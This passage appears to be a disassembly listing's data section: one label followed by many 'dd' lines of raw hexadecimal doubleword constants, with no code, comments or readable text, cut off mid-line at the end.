8F8A5C80h dd 0AE3C527Ch, 8BD918F7h, 16B79811h, 0CC160536h, 89DE813Ch dd 7960C426h, 0EAD3D6h, 10D5B316h, 65DE227h, 0DD782301h dd 0FE81B44Eh, 9803985h, 6058D4D7h, 0E89D2724h, 1CB19500h dd 18EB8805h, 0F4FC01A4h, 2616A523h, 460F2C5h, 9D601FC4h dd 0CB81F341h, 53560099h, 879C62D2h, 0C5000AE3h, 0DE4ADD2Eh dd 0C793E941h, 0C0D75044h, 0A44610BCh, 1F910800h, 0DA10398h dd 0C12A005Fh, 4A4FDA32h, 622442FFh, 0BC1FC71Dh, 19D3ED40h dd 1DA43B5h, 0A6CA9529h, 0E817C79Ah, 1F483E94h, 0E5DE80DCh dd 2F110E6h, 8C347C70h, 48E4B98Ah, 0A0F71500h, 16455DBCh dd 75BF054Ch, 14A6AB37h, 0D0807CCCh, 26A002D8h, 2007258h dd 249C1A92h, 0FF5844E1h, 5FC24210h, 2CA25402h, 40F104A4h dd 1FED253h, 8D9128Ah, 9FD8119Bh, 1E4F5659h, 0E9A18062h dd 5F2A30h, 0DFABB293h, 7A05AA91h, 9258457Bh, 1B048434h dd 0F4CA50CCh, 26D624F9h, 1429154Ch, 0DAC0F448h, 2035EBD2h dd 9D88651Ch, 7EACB6C0h, 15F8D7C9h, 8F5443Eh, 124C2609h dd 0C33B7848h, 0E176CE00h, 49CB21C7h, 4E404C46h, 0D8B6FB0Bh dd 1007C809h, 98249834h, 457C9411h, 51F8605Bh, 0DB061A16h dd 575E2881h, 0D9451608h, 12FF6842h, 0B70F0C58h, 2F937B4Dh dd 0B4B241EEh, 6831F14Eh, 39960464h, 0B6246D2Eh, 5786605Ch dd 740061DFh, 0B2EED420h, 751F0DBDh, 9C991224h, 0B7FC3033h dd 270B8B4Eh, 10124435h, 637BB8h, 0EEA5B5CEh, 1C64AE78h dd 0FCF35200h, 9724CA01h, 62250DFFh, 8F26B631h, 60D9B779h dd 9008EFA7h, 0D46401CFh, 0FD118783h, 2C50DCA3h, 13348A14h dd 693E34h, 7A0D1DE9h, 1AE9B64h, 534FCD98h, 0FCDEFD5Eh dd 635C5102h, 2CBF0063h, 2A4E609Eh, 0B4F4A4BAh, 781691C4h dd 0D5D73102h, 0D2134DB0h, 0A1C60F1Ch, 0F5209391h, 8B6D0A39h dd 0D569971Ch, 54A62200h, 2973F23Eh, 0C0FCDBh, 3DC98A33h dd 0D57DD6DAh, 1823EC38h, 0C10D9FDh, 123C035Eh, 4229997Ah dd 9E61081Ch, 5DA45643h, 1E492709h, 9228D820h, 0F90048AFh dd 0BC1FD020h, 0DDD2C1h, 0AB21732Fh, 311D3E52h, 2423000h dd 1913D6Dh, 4333031Fh, 0C360B0AAh, 0A4473E80h, 0C8D85E58h dd 0FCE4816h, 1BEB0283h, 3C28348Ah, 58AB0A10h, 0ACEBC0C4h dd 0A0DC1022h, 7F72BBh, 1380FDAFh, 0DAB7A8FAh, 91192727h dd 0B8380284h, 0C0CA061Fh dd 0FD70FC2Eh, 4CB871D3h, 0F38CF21h, 0EFA04361h, 8B25F0DFh dd 8C40B94Fh, 0F9AC845Ah, 0F6E0036h, 0B5DE6AE1h, 17070B76h dd 0C94A9411h, 1601ECEAh, 0AFCFF5DFh, 39AED980h, 6461724h dd 1EB40A4Ch, 0A0271436h, 0DAE46C18h, 7F18A098h, 60EF841h dd 99DB12D2h, 913C1925h, 1904046Dh, 6CE6DE63h, 1BD4DD02h dd 5BE09867h, 57001EA4h, 0C30DF0D1h, 0C4A1369Eh, 0E4FDDA71h dd 6D04A6A0h, 1190587h, 1D30E088h, 0E7267CFh, 0A0399081h dd 2D303D03h, 95C4A011h, 0E4C9DAh, 49B6C5F6h, 0F05AD7B1h dd 0CBE830D0h, 308800AEh, 187EA73Dh, 8994614Eh, 0BF0B16D1h dd 481F45Fh, 2035E60h, 0C9E1CC2Ch, 6CC5F2CEh, 1F54B12Fh dd 0C0000C22h, 2E4DBC46h, 6F05E69Ah, 0C4AD2980h, 87D6CA80h dd 0AFEA00B7h, 51A82D5Ch, 5A371A05h, 238048CBh, 0F60E5049h dd 0A98212D4h, 8F84002Dh, 14A09737h, 0C0B419D0h, 12538E5Bh dd 972600DCh, 3D997646h, 472F2C83h, 3108A066h, 5AAEAF64h dd 42E809E7h, 25D05068h, 1C58DF4Ah, 99AD610h, 4DAE28A1h dd 417C3804h, 0CE4FE7DEh, 0C02BDAF7h, 0B1124EC1h, 0CC8E093Ch dd 0DB2D6680h, 0E2034232h, 17C54F40h, 9C2810B0h, 0E8310016h dd 6DFEEFB5h, 30AC2D75h, 77AB8C80h, 500BAD58h, 52F9C3Fh dd 0DC80EE81h, 28CBB697h, 1E47655h, 620681C0h, 299FFDDBh dd 13218Ch, 0E0F82D16h, 79001B06h, 8F2A5E88h, 0B799D68Ah dd 0B6E8F4D0h, 22E0A949h, 0BCBB00B1h, 3E2395E6h, 0F4909DECh dd 30C0D400h, 0D019AE86h, 0DDB7002Dh, 58FF366Ch, 8271DB63h dd 0F24AA53h, 6053F227h, 2089E62Eh, 9E2F099Bh, 4900C4CCh dd 29517030h, 1611CF60h, 0B1736E3h, 0AEE9B6BDh, 4FC7C040h dd 38FF58E8h, 3189A0A4h, 7420951Fh, 9F178DC9h, 7854C000h dd 58B98EC3h, 0FCC5486Bh, 0D5F26F81h, 0BAF0894h, 88B7122Ah dd 72387841h, 0B4A80048h, 0DC7E8D6Ah, 5A100017h, 70B08BDBh dd 950E6B05h, 12EB5D1h, 6584E623h, 65CC820h, 64053E8Ah dd 0A7001019h, 0FC215F90h, 95D55DBh, 1FCAAA93h, 0D6DC9810h dd 1223881Ch, 0C4E1F358h, 48137496h, 0DE2284CBh, 0C4CB189Eh dd 85EC04h, 0BFA3AEDDh, 0B28C3DBEh, 2C336100h, 12060E30h dd 2C34E508h, 9C944483h, 0C088314Ah, 8607249Eh, 0C7160078h dd 31DF0EF5h, 6E97B117h, 0B929C490h, 81FC881Ah, 8CC0C95h dd 1980E1B8h, 608284ECh, 0E901B4E5h, 9322DC2Ch, 209774A2h dd 8AEC0958h, 64ACA019h, 93279DF2h, 83842038h, 1FE8B7B9h dd 4C4E78D6h, 5241612Eh, 887B8680h, 0F700A284h, 0F43BA05Fh dd 483025C6h, 9216546Ch, 5281F88h, 0F2141EF5h, 64D700B4h dd 0A05880E2h, 49B00078h, 0FC2CAA5h, 71D0B47h, 93C21975h dd 0C067318Eh, 4EC127E2h, 594C40B0h, 0E51DB34Ch, 2F05300Ch dd 0EC8A19B6h, 909119AFh, 0DC2A787Ah, 8996CDFh, 7D8B2B89h dd 0E26B5E80h, 4104172Ch, 0F6F75B3Dh, 7D908C3h, 2879ED29h dd 0DAF90B8h, 9727BC5Ah, 317CA1A1h, 0F6D479DAh, 47210259h dd 9997DB8Bh, 0E93BECA0h, 2E007F9Eh, 0BD570BEDh, 99C30C3h dd 9BA64B35h, 0F0E8D0C1h, 2BF9AEC9h, 7890E416h, 4364Ch dd 3E30BA59h, 9DEDCBE0h, 8F83483Ah, 621151F6h, 4B7D55A4h dd 37F7C760h, 0CEBC669Bh, 8724F1F8h, 0DB1E82FCh, 408C3063h dd 0A5979D4Dh, 9FD899AEh, 0AC35C0A1h, 69B8A8Eh, 7D92600Eh dd 0B6522031h, 94E855DAh, 961E0CB4h, 4A00C7E9h, 0E181D61h dd 489C4E01h, 0C9836837h, 383EA052h, 0E8B5401Bh, 5F0992Ah dd 0A4B72B27h, 6C00AE40h, 0B6EE1D78h, 0CE0386Bh, 1868B29Dh dd 0E180B880h, 1048098h, 0DB84C49Eh, 50E41826h, 0BC6F2C4Eh dd 0B09012D4h, 5932DBC8h, 441E2101h, 97F002BCh, 6410B889h dd 8B0BEC56h, 33A03051h, 473188D0h, 340260EEh, 0F5C5ACB7h dd 1CC56B1h, 22433BB5h, 0BEF840A1h, 0B4014F0Bh, 30467A05h dd 54611A92h, 4CF0202Eh, 0B5000BA0h, 172765CEh, 364A5B7h dd 0BC1AD326h, 0E082E9DCh, 0B1826843h, 84924C22h, 74A8B43Ch dd 76CB8CAh, 0C0EFE9C9h, 80AE81EBh, 8793F01Eh, 2A4FD9C3h dd 58249B9Fh, 2C4050F4h, 54BFA06Ch, 8AA50536h, 8D3BD07h dd 0EB807C2Ch, 0B489EE54h, 969B095Bh, 2E0EF920h, 21C7A0E0h dd 0C505ED7Fh, 0A9AD7886h, 0A300D887h, 309CB629h, 3351DF58h dd 9900C481h, 0D6FFD130h, 0B191B728h, 0B1842804h, 0E2B01264h dd 0BB760040h, 0A4ED6510h, 29900096h, 0ABFB9ADBh, 0B74F15CAh dd 46217C41h, 0F7E836EAh, 77F2195Ch, 0BAB4DE1Bh, 0CBB08528h dd 94E4B6B5h, 965903D8h, 8DE53382h, 77753680h, 4C50848h dd 0F7B68A81h, 9486A8A0h, 3A7D80ECh, 0E3E616BAh, 4356A200h dd 349674A6h, 0F287FA0Ah, 0CDB2003Ch, 30ED6BB4h, 0EE014AACh dd 0A34C4D49h, 9C40A2F8h, 512EB12Ch, 646C0CF0h, 7F818880h dd 0F7EEA042h, 0B6BC1700h, 14C70C2Fh, 990A269Fh, 4A581D3Ch dd 40D4E8F9h, 0A431C8D0h, 0B4C95C4Bh, 85219D6h, 1D660046h dd 2A09692Ch, 62007291h, 0BE17871Fh, 3AAFE8B6h, 0A4CC6EA5h dd 0DB28FB22h, 1097505Eh, 7921B9A0h, 48D6006Fh, 1FAE0982h dd 0C70B5113h, 2BAD53DAh, 59D8E1ACh, 2E211473h, 80968589h dd 3C0D9F50h, 97250736h, 86011AA0h, 58F05CEFh, 10C5E470h dd 14008729h, 0CDAD7FB6h, 3F2E15B7h, 8C4284D2h, 31C9F882h dd 0E340245Eh, 58D05Dh, 0CD14B30h, 0E7146CFBh, 40005BEAh dd 639335A8h, 98E33001h, 6296168Ch, 971830ECh, 0B903341Fh dd 1C8FD34Bh, 92F0CF47h, 2465445h, 4DE1308Ah, 609B58h dd 6777A9FAh, 0E0A208D2h, 5F98BC00h, 0A1F6DF69h, 4AEDEC00h dd 42EB4B5Eh, 2D051347h, 0D40CC8BCh, 12A8CD5Ch, 0FCF344B7h dd 99411322h, 0D3805068h, 88CD2519h, 26241A16h, 36B0888h dd 41EC9273h, 918AE8FAh, 0C57A9785h, 8374A23Ch, 0C0C37D67h dd 5435492Ah, 6E2417h, 82A157D3h, 9006091Ah, 7A425801h dd 827DB81h, 0DF224023h, 0C81152h, 0A30A2DBCh, 9F2B480h dd 0FE7B8531h, 2E213C58h, 0D811A0h, 266B4190h, 7E372B1h dd 4675791Eh, 0A6E8702h, 16AB0E80h, 0E43B5125h, 0F6522E7Ch dd 62520194h, 493E8EF9h, 4FE5C464h, 19102033h, 3D3DC25Dh dd 1209F526h, 993431h, 73876993h, 3BCD0576h, 13B73E42h dd 8F1044F0h, 0CAAE065Fh, 18615910h, 10DAA589h, 0A6419445h dd 7421304Ah, 9803D862h, 7252B758h, 1FD6A003h, 91CB156Ch dd 6FF1A44Eh, 0D01E2992h, 0CBF73DD8h, 7C002CF4h, 0F2123BF8h dd 2ADAEEh, 0D018F6E9h, 9D0B84B3h, 4A4879F3h, 2154088h dd 518A5C87h, 20404496h, 990065D4h, 308B4E90h, 0F4295B97h dd 8A6F0081h, 25CAFB93h, 0AF447CF4h, 1412484Dh, 82571F80h dd 0D80FA574h, 2760F231h, 9C805099h, 3427E853h, 0D8C84DB7h dd 2F059BC8h, 208A30B4h, 0F3D690C0h, 93BB1661h, 2E30C827h dd 19F03830h, 6B05FFDBh, 189080ABh, 580095C6h, 3427D03Ah dd 0E9E824h, 0AEF31F94h, 0D7901299h, 4C9CF200h, 22E0DD8h dd 1805085Eh, 0DB04DEBEh, 548C0750h, 0D04484D8h, 702E069Ch dd 905D0864h, 48B39E00h, 26D950DFh, 0AC7126C8h, 21510678h dd 0E8901125h, 0DA299162h, 10EC5196h, 49C8805Eh, 25F5B5ACh dd 98CCF181h, 9814909Fh, 0A16B0054h, 0FC514487h, 23FAF435h dd 0AEAE503h, 0F4B8A22Dh, 0F2140444h, 0CD2E001Ch, 0ACBB2AFDh dd 4AE43F2Dh, 92B55D80h dd 0C0247D46h, 8EE22E2Ch, 19AB6403h, 0F3AD80D2h, 0A65E2729h dd 1C0064E6h, 4DB1A594h, 3AC01D3Ch, 0B9894BF7h, 0E0935049h dd 0B2FD8698h, 1F538E12h, 94303C16h, 58583412h, 0E812CFCEh dd 0F04842CAh, 0F4C202C7h, 4445C44h, 1A1E0716h, 0A1D29584h dd 0E0AB7219h, 8600E526h, 0D722872Ah, 145ED8C3h, 88D6640h dd 94A01609h, 0C007071h, 0D9EF6567h, 0EEC31671h, 31EC607Bh dd 10961B05h, 0C113E88Eh, 0B7C4C16Bh, 4BD526C0h, 452C986Fh dd 81BB393Dh, 0A9E6BC49h, 0A02A7726h, 2F009FB2h, 5652996Bh dd 0FE9B08D1h, 0C5B5F0DAh, 30309C61h, 0F7E70BFCh, 0C597DA1Bh dd 20DE9A21h, 0B029785Eh, 4387FA00h, 0FDE18A3Fh, 30E762E6h dd 60E0A97Fh, 945A38A6h, 8113D01Fh, 2A4DB090h, 14C500A9h dd 0CB974B50h, 1024F145h, 9C78E409h, 0CD12E936h, 200645Bh dd 0F5B72E7Ah, 0C9E11726h, 38540003h, 0CD0E61CEh, 0A50C90B5h dd 5A68005Eh, 0DAD2AED3h, 0AC909DCBh, 0B57F44h, 0DFA030A5h dd 0B709E62Ch, 88C42D48h, 8A978Fh, 5190C4B4h, 0A212DDD9h dd 0A40074EBh, 0D3797B3Dh, 28C00CD0h, 50113A38h, 29DC2132h dd 826C76B6h, 0BC932368h, 0F0728540h, 78008E71h, 0CAEEBF7Ah dd 0C9219Bh, 2FB852ABh, 0A503FA91h, 1E2EBB00h, 81580911h dd 0CA0B0051h, 0AF1092EAh, 0C4B02D3Fh, 1F62B0B4h, 0A57C4817h dd 7C837C66h, 0F5C9BF6h, 2253359Ch, 262009BCh, 537E93h dd 291D0589h, 42D2E978h, 0A7BC0200h, 0EBEA9131h, 0D0D45223h dd 5FFD2E07h, 0F8AD1047h, 53028C4h, 2758115Ch, 2E02094Ch dd 0E060AECEh, 84BEEA0Eh, 0A2108259h, 9C00A4EFh, 42B33F83h dd 0FD47BCBBh, 20CC20h, 0D1982895h, 66D231C8h, 6009C0B8h dd 79C0A94Bh, 443E0054h, 0BFB4D28Ah, 0F2C90601h, 8277A205h dd 958CD60h, 0A00EDB55h, 0AA4420D8h, 0EB270902h, 6078C89Ah dd 2E672B00h, 0B7AC439Dh, 4874F618h, 0D024B817h, 0DC9809FAh dd 8053849h, 67C28880h, 82A8B100h, 7ADEDC39h, 51CA024Ah dd 775FDAC5h, 164B30D6h, 0E39D003Ch, 77B2BD06h, 0AE4DC180h dd 27C82004h, 0E06450DAh, 0D7F44503h, 0E0B7687Dh, 7CA881Dh dd 29D44AB4h, 0FB96A0B3h, 0B600D707h, 0F0D50BCh, 1AF1CBh dd 122AB4F6h, 0C68F67DFh, 36E21700h, 5E43CE96h, 0E9A50027h dd 0EA2D7CB8h, 5502FDDBh, 0A6E0C562h, 846CF930h, 2597D709h dd 0A4F8A0h, 3C79A5AFh, 9E3F6849h, 0B49A2104h, 6E870C66h dd 0C7A09640h, 312E00F9h, 0AF6AAE0Dh, 0B2E899B4h, 3540E49Eh dd 0B0E8E9h, 60DDAC3Eh, 396D6B8Ch, 4013D500h, 9358642Bh dd 0D85E001Fh, 0B0A23298h, 367A0A0Dh, 4980F49Ch, 5D2CB124h dd 0D94C4C13h, 84E4F227h, 8053D83Dh, 3DCF49D6h, 44EC61h dd 664F7772h, 0D232CD93h, 0C8B97825h, 17C874h, 0F0E88880h dd 0DF3EFE48h, 8025793Bh, 0FF53BA47h, 76906AC1h, 0EC7F00ACh dd 0CED23C65h, 0AF58F6B4h, 0A16300C8h, 6CAAA5FAh, 0CC11B78Dh dd 0A9E5CBA0h, 0B8C98908h, 79D278h, 0B6376348h, 9596E93Bh dd 0C040109Ch, 57C4F98h, 4EE0DF6Bh, 3C94A278h, 92643EFDh dd 4CA63012h, 892E6C58h, 5B16407Ch, 0CC96B963h, 9A707680h dd 85BEDCh, 44BCB1B5h, 6AFFA082h, 0B5B670h, 7AFB929Ch dd 0BC9C90AAh, 38A8BB3Ch, 0A4940E64h, 4643CFA8h, 0F4E50B16h dd 6D1398DCh, 81C0EB7h, 0E879037Eh, 0F8B2F5B6h, 57AEA5Eh dd 97B33244h, 2124B254h, 4441BD93h, 27808C90h, 63F90201h dd 0FC2F1D59h, 3D504441h, 6F38203Ah, 0A0A6B2F2h, 3B70C31Ch dd 24AEBF41h, 97D43249h, 373CA058h, 481A0B9Fh, 20E145B4h dd 8EB8815Bh, 0AB0982DBh, 59CC602Eh, 0C71CF3B2h, 2D80FD78h dd 20E244DCh, 50BE2C4h, 97B5324Bh, 6C30055Ah, 166C0E88h dd 0B0538B64h, 1F13C908h, 20C4E194h, 0F07E3000h, 0D9365Eh dd 1AC18EDCh, 7968E2D8h, 35770C02h, 0C416203Ch, 0F5A1A094h dd 79A600B4h, 3C60CF6h, 6B0048AEh, 3025DE83h, 0D691B5h dd 6DFDB1B7h, 28519D4Dh, 0DB3E2301h, 4490AECCh, 21F43C20h dd 5281BB58h, 0A38A33C3h, 9A4E90C3h, 17270459h, 0DC0226F3h dd 62EC2AF4h, 0FB328B0Eh, 0A55FE0ECh, 720EF98Ah, 2CF51F9Bh dd 0A389C04Dh, 5E9FBDDh, 31086416h, 0C95B60CAh, 0AF99ECECh dd 0F4124D29h, 769F4800h, 0BD1FB1E1h, 0B07AF027h, 32214225h dd 0C6456700h, 41D834EEh, 92EB7F55h, 647B4498h, 7050D5Ch dd 3666DE25h, 189068CBh, 0FCD524EBh, 882D139Ch, 1E003C34h dd 0CD365220h, 3556F8D5h, 2876EA58h, 0AC962924h, 7F1FC43h dd 0DF010F48h, 1C16F1F5h, 24542351h, 74296018h, 0C7010B00h dd 0A1648F5h, 9BD85111h, 48F11014h, 78286CC8h, 4498BCh dd 0F8F407CDh, 2E44A003h, 401D0D00h, 9710857Ch, 0AB3701A3h dd 0CFAA69C4h, 5244CB4h, 0B90490B3h, 94F0B061h, 0D4374C9Ch dd 0F883DA85h, 54FC8278h, 0D397E12Bh, 0EC047443h, 308020BCh dd 5193BF81h, 1A82C007h, 0CF05AC31h, 0A693DCB9h, 0A44D04ECh dd 0D0B21627h, 48208A01h, 0F038E267h, 0AC0EF483h, 2A4AD9Fh dd 62AA302Ch, 0DB0C84BCh, 5F813440h, 0D300A149h, 0E2C87DC9h dd 0BE3E677h, 0B98AFFA3h, 6E9B8490h, 87784900h, 52349C6Dh dd 0C4DF0082h, 4F47F98Fh, 5C293391h, 8A057CDBh, 8CCCCF21h dd 0BF140BEAh, 0AC8394CEh, 11DE122Fh, 466EDF09h, 0C9AC058Bh dd 0ACC78402h, 848DE0Dh, 8A01F156h, 2A343E27h, 5DE61CD8h dd 0AA8B5089h, 4107F8Bh, 8E4BB35Eh, 439E2C20h, 0B5A73941h dd 0B062D70Bh, 7A986082h, 0B7D2B618h, 0B8FD9438h, 0BE106E02h dd 0E1171A29h, 543B3080h, 0B500C4F8h, 12BEEEFCh, 9DFC178Ah dd 89623C30h, 9F2D05C8h, 5C0E8C94h, 6088087Ch, 4F2CC13h dd 2B680FB9h, 0C1002A18h, 321659E2h, 0B544B09Eh, 0BA8F00ACh dd 79AF5FC3h, 0DAB8CFF0h, 806C2658h, 16EA4396h, 984C50CEh dd 0A72096F3h, 0D30004C4h, 0F861D854h, 1F9A250h, 88A79DDEh dd 805A5199h, 0E0771510h, 83B1D0A9h, 780C2842h, 321C5A52h dd 22BDE83Eh, 12F5FDBh, 0B990BAFFh, 0B5CC49EEh, 0C714CC68h dd 0B68014D5h, 0CE285A65h, 52B83B60h, 8596CF9h, 0D5FD2F1Ch dd 3C098126h, 0A500549Ah, 8C017CE4h, 976DB57Fh, 0FCF441D4h dd 0F89B00C5h, 15671CDBh, 0C6252EC7h, 864C51DAh, 59DE329Ch dd 4F2D2612h, 0FA3FD405h, 4E16B809h, 7AF43E60h, 8404FB58h dd 82019852h, 54BE7240h, 14CB032Dh, 6010B734h, 0A008A40h dd 313F4E3Ch, 0B35FDD9h, 0D87FA495h, 9C4C3478h, 3AC6C0DCh dd 0AE9449h, 7EF11132h, 0D74226B4h, 5565F80Bh, 335CE14Eh dd 2FC0613Bh, 51DB11DAh, 0FEA1A47Ch, 7F006F16h, 0B8FF2F74h dd 38897260h, 1FD2D80h, 0D7A102C7h, 0DCC2B3B0h, 0A6001268h dd 27DABE96h, 4A9AE14h, 0F018AF66h, 0B6E4C8D5h, 2407DD5Ch dd 98244811h, 513CA10h, 5FA4301Ch, 98B974D3h, 3355DB0Eh dd 0E4B5F84Bh, 8E1C0724h, 0EF4BA642h, 70C96D7Fh, 0F86CF0E1h dd 0A72DBD1Eh, 6D7E9D02h, 6DCE150h, 9847A910h, 99858100h dd 0AF135B8h, 784DFE50h, 0B7760434h, 0B56CF84Eh, 203A84h dd 32BFC8Eh, 0A9839231h, 0AFE0FD42h, 0E3D7467h, 0CB2D7727h dd 1E066EEh, 0D2FDF4A9h, 0E052EADCh, 97001E84h, 79418B6Eh dd 7DA8A9D5h, 0D108A0ABh, 8CB348B8h, 0B726270Ah, 70AC0178h dd 0FAAB500Ch, 860060DEh, 51BBA747h, 6B4408D7h, 1F8D573Ch dd 0B420114Bh, 0DB29CBB9h dd 4D045451h, 894EE113h, 0BB932060h, 69072F34h, 38C13ADFh dd 834BB720h, 2EB10E80h, 0E9C0FDE0h, 654630B5h, 0D8A40D07h dd 7D50B608h, 1EC32F12h, 0C0DEF4C6h, 0B1EA4D4Fh, 50F8218h dd 0C02A7A07h, 0CA1A5C1h, 47D72DF9h, 1F002C64h, 0A77B9759h dd 9A0644h, 466CCD2Fh, 8E926636h, 1235E3Ah, 0A5AF8631h dd 602CC57Fh, 0D6B13080h, 9502BE33h, 3B37D2EEh, 402CD6F6h dd 0E2962DEh, 2D286158h, 1CCC6495h, 40CA9838h, 4F1B2476h dd 2FF45961h, 85DCF148h, 1801CE21h, 0FD29F0AEh, 2F25FC62h dd 0E72A819h, 0A3B55E20h, 0C4248BA4h, 0C89524ACh, 0B2920D8Eh dd 8002C804h, 97CD76D9h, 8B043956h, 0E9387C2Dh, 0A160081h dd 98541704h, 4D000E2Ch, 3179DA3Ch, 8A7D54A4h, 5CCC38C2h dd 0B80C571h, 1C919555h, 1C0009DFh, 0D7AC3Fh, 0EEB678Eh dd 60BEFF21h, 0E4AF372Dh, 176E3E38h, 69DCA500h, 571EAE20h dd 0EF629716h, 17542C91h, 70461112h, 64C45600h, 966DF87Fh dd 0DB290BA6h, 0F0DB1398h, 0AAC63F80h, 28D09EBEh, 12A511E6h dd 8012B7C0h, 0A64CFE24h, 9F0F287Bh, 705C37Ah, 87854017h dd 0A0970803h, 8B2901C4h, 0CA2C85Eh, 80EC7C31h, 323037FBh dd 92213DCDh, 872F01FFh, 2C4543E3h, 0E8207BD0h, 961F37E7h dd 0C1329D70h, 0A41A084Ch, 8276C836h, 0F761BE00h, 0B491D47Fh dd 1ED81A0Dh, 0C0C1317Bh, 510310A7h, 0D2260260h, 0CE5B6ECDh dd 308AF080h, 4000DF49h, 0B6B9D686h, 39992091h, 0C800B40Ch dd 0B79667ABh, 0C90159B2h, 9CA8D331h, 402F1230h, 4904E81Ch dd 600096E3h, 8FD0EB70h, 14D11218h, 0C8A45F0Ch, 0F5442AC2h dd 2704F0D9h, 3120C701h, 0F4073BACh, 0A44C9544h, 9B0868F9h dd 68E02Eh, 8D664F39h, 0FB133140h, 725A970Bh, 900B583Dh dd 0DA4B00C5h, 166EBB2Ch, 421E96DFh, 0E740EF50h, 69C4BD29h dd 5FB500E4h, 0C1F994A0h, 43F2F028h, 31A19C13h, 1645CCCh dd 701CBC66h, 6848C391h, 1408D35Ch, 0D45D81DAh, 3E196AC3h dd 0A3989A80h, 33EE628h, 0E9342081h, 401DCC07h, 95A07B65h dd 600760C4h, 0CCBEB35Ch, 0CFAC97F0h, 0AD5F1EA0h, 171FC08Ah dd 3CB96039h, 0FC12904Ah, 0E07400ACh, 0CF3302EDh, 0B730DA1Bh dd 31840859h, 4ACCC81h, 73B85424h, 0E4C740BCh, 3C8E2Ah dd 0FF9A3C4h, 851C2D58h, 5EF59C02h, 0E02A45C5h, 386CCC2Ch dd 0CF295A1Eh, 295006D8h, 0A50119CDh, 4D0483DAh, 683D51A4h dd 8845AB13h, 0EAD2BC0Ch, 0F08CD716h, 3CE595CDh, 0F4452A07h dd 0F90D76D0h, 4D1025D0h, 0ADA0B901h, 11F7F0F1h, 0CAB8209Dh dd 70BEEBAh, 12FCBE23h, 0C86CB7ACh, 0B5D6A987h, 48633872h dd 9CC83Ch, 628F67DDh, 32F9F869h, 0B07C6C90h, 0C0F4455Ch dd 9AA1F68Dh, 0B74A144Eh, 0CE0197D5h, 1E52EBF2h, 5901C07Dh dd 9E236003h, 0E0BEBA72h, 1C32A4Ch, 0A0B3EF3h, 208A90FFh dd 0E22F1634h, 432CCC36h, 5A84795Ch, 0E9103029h, 0AEFE8BD6h dd 39425782h, 0F0019459h, 0DAE11DABh, 8E6420h, 519ED705h dd 4C85D921h, 1F78F6F2h, 11D3DAEEh, 298F4C0Ch, 80A8BEB9h dd 21225A4h, 0F601339Fh, 0E781717Dh, 0DBD63AB2h, 0C91A0AD8h dd 2D0A9160h, 0D76CEA1Eh, 0C4F96EE0h, 429AAF00h, 5423F443h dd 29CE25B5h, 307894ECh, 8893B307h, 96DB2F7Bh, 0A4AF27CCh dd 109FB8C1h, 351FBDDh, 4EE54620h, 76C9C1FAh, 9D19C093h dd 10BD7BE4h, 4860EBB0h, 1702DE0Dh, 35379BBEh, 6A5B00DFh dd 2DB24CEh, 0DAE2D2C8h, 0D8F20497h, 5AF6803h, 9BBDE1Bh dd 80DAA8E8h, 3C10D051h, 6748CD82h, 0A3471874h, 20DBB622h dd 52F52044h, 0C9E8AB00h, 0A4020359h, 68A01421h, 747E281Fh dd 0A1CF07B2h, 0B0FF257Fh, 0E181B958h, 90904E95h, 0E024E9F7h dd 0F91A887Bh, 130EAB7Fh, 0AEEA2Fh, 0D750DC6Dh, 248A17A1h dd 0A0D82371h, 34EC1158h, 0BCCC29AFh, 9B990087h, 57953F56h dd 9A02225Fh, 507AEA31h, 0A8602EB6h, 8160AAB1h, 207DE000h dd 0F2F543D2h, 464401FDh, 150547AFh, 8A3180B0h, 92DDB7D6h dd 68AE61E1h, 70F90258h, 0AB120B98h, 0CD0B97Eh, 0D71861h dd 0CE730FBCh, 5E421A99h, 5FE9B914h, 490B03B0h, 0A96B066Ch dd 6470D5D7h, 8CDC00E4h, 1D516046h, 0EC3EB318h, 571C0307h dd 0E2B90562h, 0A89C433Dh, 60A81715h, 0DF5F062Ah, 6D0591B0h dd 7D190586h, 8B9404FCh, 0B7C8EB0Fh, 5EEA4140h, 0C21DCC03h dd 5DC028C7h, 2FCE40A4h, 0BE9F00D0h, 29EF5AE9h, 0FA00F884h dd 5E5F2D0Eh, 4F3E5989h, 8008C947h, 0A32335ACh, 156D87EFh dd 0EC371FBFh, 2F38224Ah, 166556C0h, 37286C4Ch, 8B7918D0h dd 0BF1C19B8h, 13A892E8h, 80BDDFh, 4247A48Bh, 35E20630h dd 0C91CEF4Ch, 0C0485C36h, 0B335462Ch, 3FF3A600h, 47EBF563h dd 4B1900A2h, 56E9D8AEh, 2912F116h, 0D412BF17h, 59248909h dd 0DF46034Ch, 110FD4E8h, 8231C658h, 0DCA6AE9Eh, 0B7CB62CCh dd 4495A850h, 0D244000Ch, 78E1C2B0h, 2A0E7038h, 406A79A8h dd 896546C5h, 4921A34h, 0D8DA50D2h, 4A25317Ch, 1050736Dh dd 0C7918B96h, 381810E4h, 85093DB5h, 2E8A8F2Bh, 705064B6h dd 3E880245h, 46C40ED0h, 380E8F1h, 6AE92F63h, 4F300033h dd 2E9C3E78h, 0B5F48114h, 1F28A095h, 2D7E8Fh, 0D084965Eh dd 0D7797537h, 703A5303h, 0E8F29DD1h, 592AA45Ch, 385BA0B7h dd 8E8152C4h, 4D27F033h, 7F94AE61h, 78C53038h, 3E767FFEh dd 0A4517539h, 13A9D848h, 28998193h, 0A6445824h, 2D052731h dd 2100B064h, 0CDB2E49Eh, 52A4677h, 8138BC91h, 4FA880E3h dd 0F702BE21h, 6EB5C8A9h, 0A0B0E312h, 12FFC695h, 0FF6658A8h dd 94318A0Ah, 59BDEB00h, 240690A5h, 8B4CF321h, 158BD681h dd 0E8052C44h, 8EFAAD26h, 0E9904CB0h, 4A9CE4F0h, 1854D227h dd 14E8B524h, 9B031622h, 0BEB0132Eh, 9050E24Eh, 0F6404A8h dd 585230ECh, 0AEAC5583h, 0D534100h, 9CE37821h, 37301751h dd 9BFC0809h, 83A31880h, 4C6F7CEAh, 0C3101067h, 0A0576D0h dd 6369ED8h, 0D1C954D3h, 253BDE2Eh, 800CE8C0h, 0C7DDD67h dd 640AF827h, 561A38C0h, 0C7BEC035h, 194B2001h, 6C1FB959h dd 0A140D656h, 5C51C87Dh, 20AF144Dh, 3F0B501Eh, 2B8067BDh dd 3BB72B62h, 5BCB6E16h, 611B100Dh, 0E000C007h, 0A49895DAh dd 0A1EB16FCh, 8E5030B7h, 76070F68h, 8612F527h, 7BA17570h dd 9CEE0060h, 5CAC4D2h, 9099BE1Ah, 471818A7h, 79280988h dd 98ABBE54h, 2602C071h, 10D1E849h, 0B01201C0h, 64F2AF36h dd 0CF1420Fh, 0E3AEE0C0h, 0C314ED3Bh, 130B0C7h, 0C6C4A6FBh dd 0DC277A73h, 